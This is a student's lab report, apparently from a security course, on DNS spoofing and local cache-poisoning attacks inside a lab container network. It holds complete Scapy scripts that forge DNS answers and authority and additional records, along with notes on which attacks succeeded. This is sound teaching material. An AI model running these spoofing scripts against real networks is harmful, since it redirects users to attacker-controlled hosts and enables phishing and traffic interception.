**Lab 7**

Sanchit Dass

Lab 7 is concerned with attacks on the Domain Name System (DNS). DNS is the internet’s phone book. It translates domain names to IP addresses and vice versa. By attacking the DNS, we can send users to malicious websites.

# **Testing the Lab Setup**

I ran these commands from the user container (10.9.0.5) to test the lab setup.

1. Get the IP address of ns.attacker32.com  
   Command: dig ns.attacker32.com  
   Text

   Description automatically generated  
   We can see that the attacker’s nameserver has been configured properly.
2. Get the IP address of [www.example.com](http://www.example.com)
   1. Sending the request to the local DNS server.  
      Command: dig [www.example.com](http://www.example.com)  
      Text

      Description automatically generated  
      We get the real IP of example.com as the local DNS server forwards our request to the official DNS servers.
   2. Sending the query directly to ns.attacker32.com  
      Command: dig @ns.attacker32.com [www.example.com](http://www.example.com)  
      Text

      Description automatically generated  
      Sending the query to the malicious DNS server results in the answer section having the fake IP address of 1.2.3.5.

# **Task 1: Directly spoofing response to user**

This task involves sniffing the DNS request from the user and directly sending a spoofed response in return with the fake IP address.

**Source Code:**

*#!/usr/bin/env python3*

*from scapy.all import \**

*import sys*

*NS\_NAME = "example.com"*

*def spoof\_dns(pkt):*

*if (DNS in pkt and NS\_NAME in pkt[DNS].qd.qname.decode('utf-8')):*

*print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))*

*sniffed\_ip = pkt[IP]*

*sniffed\_udp = pkt[UDP]*

*sniffed\_dns = pkt[DNS]*

*ip = IP(src=sniffed\_ip.dst, dst=sniffed\_ip.src)*

*udp = UDP(sport=53, dport=sniffed\_udp.sport)*

*Anssec = DNSRR(rrname=sniffed\_dns.qd.qname, type="A", ttl=259200, rdata="1.2.3.4")*

*dns = DNS(id=sniffed\_dns.id, qd=sniffed\_dns.qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, an=Anssec)*

*spoofpkt = ip/udp/dns*

*send(spoofpkt)*

*myFilter = "udp and dst port 53"*

*pkt = sniff(iface="br-9dc788eb17b7", filter=myFilter, prn=spoof\_dns)*

First, I requested the IP address of example.com without running the attack. As expected, I got the real IP address as the result:

Text

Description automatically generated

Then, I requested the IP address again, but with the attack running this time. I got the fake IP address of 1.2.3.4 as the result (I made sure the cache was cleared on the local DNS server before running this attack):  
Graphical user interface, text, application

Description automatically generated

# **Task 2: DNS Cache Poisoning Attack – Spoofing Answers**

This attack spoofs the local DNS server instead of the user. The benefit is that the DNS server will cache the wrong entry for a certain period of time. So, the next time a user requests the same IP address, it will be sent from the cache immediately. The spoof attack needs to happen only once till the cache entry expires.

**Source Code:**

*#!/usr/bin/env python3*

*from scapy.all import \**

*import sys*

*target = sys.argv[1]*

*NS\_NAME = "example.com"*

*def spoof\_dns(pkt):*

*if (DNS in pkt and NS\_NAME in pkt[DNS].qd.qname.decode('utf-8')):*

*print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))*

*sniffed\_ip = pkt[IP]*

*sniffed\_udp = pkt[UDP]*

*sniffed\_dns = pkt[DNS]*

*ip = IP(src=sniffed\_ip.dst, dst=sniffed\_ip.src)*

*udp = UDP(sport=53, dport=sniffed\_udp.sport)*

*Anssec = DNSRR(rrname=sniffed\_dns.qd.qname, type="A", ttl=259200, rdata="1.2.3.4")*

*dns = DNS(id=sniffed\_dns.id, qd=sniffed\_dns.qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, an=Anssec)*

*spoofpkt = ip/udp/dns*

*send(spoofpkt)*

*myFilter = "udp and (src host {} and dst port 53)".format(target)*

*pkt = sniff(iface="br-9dc788eb17b7", filter=myFilter, prn=spoof\_dns)*

In the screenshot below we can see that the user received the spoofed response and the local DNS server cached the entry:  
Graphical user interface, text

Description automatically generated

One thing to notice here is that the name-server for example.com is still pointing to one of the official IP addresses. This means that the attack was not completely successful.

# **Task 3: Spoofing NS Records**

As discussed in the previous task, only [www.example.com](http://www.example.com) was affected by the attack. To affect all the domain names on example.com we need to include fake name server mappings as well. This mapping should be a part of the authority section.

**Source Code:**

*#!/usr/bin/env python3*

*from scapy.all import \**

*import sys*

*target = sys.argv[1]*

*NS\_NAME = "example.com"*

*def spoof\_dns(pkt):*

*if (DNS in pkt and NS\_NAME in pkt[DNS].qd.qname.decode('utf-8')):*

*print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))*

*sniffed\_ip = pkt[IP]*

*sniffed\_udp = pkt[UDP]*

*sniffed\_dns = pkt[DNS]*

*ip = IP(src=sniffed\_ip.dst, dst=sniffed\_ip.src)*

*udp = UDP(sport=53, dport=sniffed\_udp.sport)*

*Anssec = DNSRR(rrname=sniffed\_dns.qd.qname, type="A", ttl=259200, rdata="1.2.3.4")*

*Nssec = DNSRR(rrname="example.com", type="NS", rdata="ns.attacker32.com", ttl=259200)*

*dns = DNS(id=sniffed\_dns.id, qd=sniffed\_dns.qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, an=Anssec, ns=Nssec)*

*spoofpkt = ip/udp/dns*

*send(spoofpkt)*

*myFilter = "udp and (src host {} and dst port 53)".format(target)*

*pkt = sniff(iface="br-9dc788eb17b7", filter=myFilter, prn=spoof\_dns)*

This time, the attack was successful, and we can see that all the mappings have fake IP addresses:  
Text

Description automatically generated

# **Task 4: Spoofing NS Records for another domain**

After the success of the last attack, it was time to try the same attack for other domains by adding another NS record.

**Source Code:**

*#!/usr/bin/env python3*

*from scapy.all import \**

*import sys*

*target = sys.argv[1]*

*NS\_NAME = "example.com"*

*def spoof\_dns(pkt):*

*if (DNS in pkt and NS\_NAME in pkt[DNS].qd.qname.decode('utf-8')):*

*print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))*

*sniffed\_ip = pkt[IP]*

*sniffed\_udp = pkt[UDP]*

*sniffed\_dns = pkt[DNS]*

*ip = IP(src=sniffed\_ip.dst, dst=sniffed\_ip.src)*

*udp = UDP(sport=53, dport=sniffed\_udp.sport)*

*Anssec = DNSRR(rrname=sniffed\_dns.qd.qname, type="A", ttl=259200, rdata="1.2.3.4")*

*Nssec1 = DNSRR(rrname="example.com", type="NS", rdata="ns.attacker32.com", ttl=259200)*

*Nssec2 = DNSRR(rrname="google.com", type="NS", rdata="ns.attacker32.com", ttl=259200)*

*dns = DNS(id=sniffed\_dns.id, qd=sniffed\_dns.qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, an=Anssec, ns=Nssec1/Nssec2)*

*spoofpkt = ip/udp/dns*

*send(spoofpkt)*

*myFilter = "udp and (src host {} and dst port 53)".format(target)*

*pkt = sniff(iface="br-9dc788eb17b7", filter=myFilter, prn=spoof\_dns)*

After running this attack and checking the local DNS server cache, we can see that the attack was not successful:  
Graphical user interface, text

Description automatically generated

There is no entry for google.com in the cache.

The attack was not successful because our name server doesn’t have a zone mapping for google.com. It cannot provide a fake mapping unless we explicitly configure it to do so.

The screenshot below shows the zone mappings available on the name server:

Text

Description automatically generated

# **Task 5: Spoofing records in the additional section**

The additional section of a DNS response is mainly used to provide mappings for hostnames appearing in the authority section. The aim of this task is to spoof this part of the DNS response and poison the local DNS server’s cache.

**Source Code:***#!/usr/bin/env python3*

*from scapy.all import \**

*import sys*

*target = sys.argv[1]*

*NS\_NAME = "example.com"*

*def spoof\_dns(pkt):*

*if (DNS in pkt and NS\_NAME in pkt[DNS].qd.qname.decode('utf-8')):*

*print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))*

*sniffed\_ip = pkt[IP]*

*sniffed\_udp = pkt[UDP]*

*sniffed\_dns = pkt[DNS]*

*ip = IP(src=sniffed\_ip.dst, dst=sniffed\_ip.src)*

*udp = UDP(sport=53, dport=sniffed\_udp.sport)*

*Anssec = DNSRR(rrname=sniffed\_dns.qd.qname, type="A", ttl=259200, rdata="1.2.3.4")*

*Nssec1 = DNSRR(rrname="example.com", type="NS", rdata="ns.attacker32.com", ttl=259200)*

*Nssec2 = DNSRR(rrname="google.com", type="NS", rdata="ns.attacker32.com", ttl=259200)*

*Addsec1 = DNSRR(rrname="ns.attacker32.com", type="A", rdata="1.2.3.4", ttl=259200)*

*Addsec2 = DNSRR(rrname="ns.example.net", type="A", rdata="5.6.7.8", ttl=259200)*

*Addsec3 = DNSRR(rrname="www.facebook.com", type="A", rdata="3.4.5.6", ttl=259200)*

*dns = DNS(id=sniffed\_dns.id, qd=sniffed\_dns.qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=3, an=Anssec, ns=Nssec1/Nssec2, ar=Addsec1/Addsec2/Addsec3)*

*spoofpkt = ip/udp/dns*

*send(spoofpkt)*

*myFilter = "udp and (src host {} and dst port 53)".format(target)*

*pkt = sniff(iface="br-9dc788eb17b7", filter=myFilter, prn=spoof\_dns)*

The source code contains three mappings in the additional section:

1. ns.attacker32.com ---> 1.2.3.4
2. ns.example.net ---> 5.6.7.8
3. [www.facebook.com](http://www.facebook.com) ---> 3.4.5.6

The attack was unsuccessful due to the same underlying reason as task 4:  
Graphical user interface, text

Description automatically generated

The local DNS server should have zone mappings for the domain names included in the additional section of the DNS response. Since, the server doesn’t have those, the attack failed.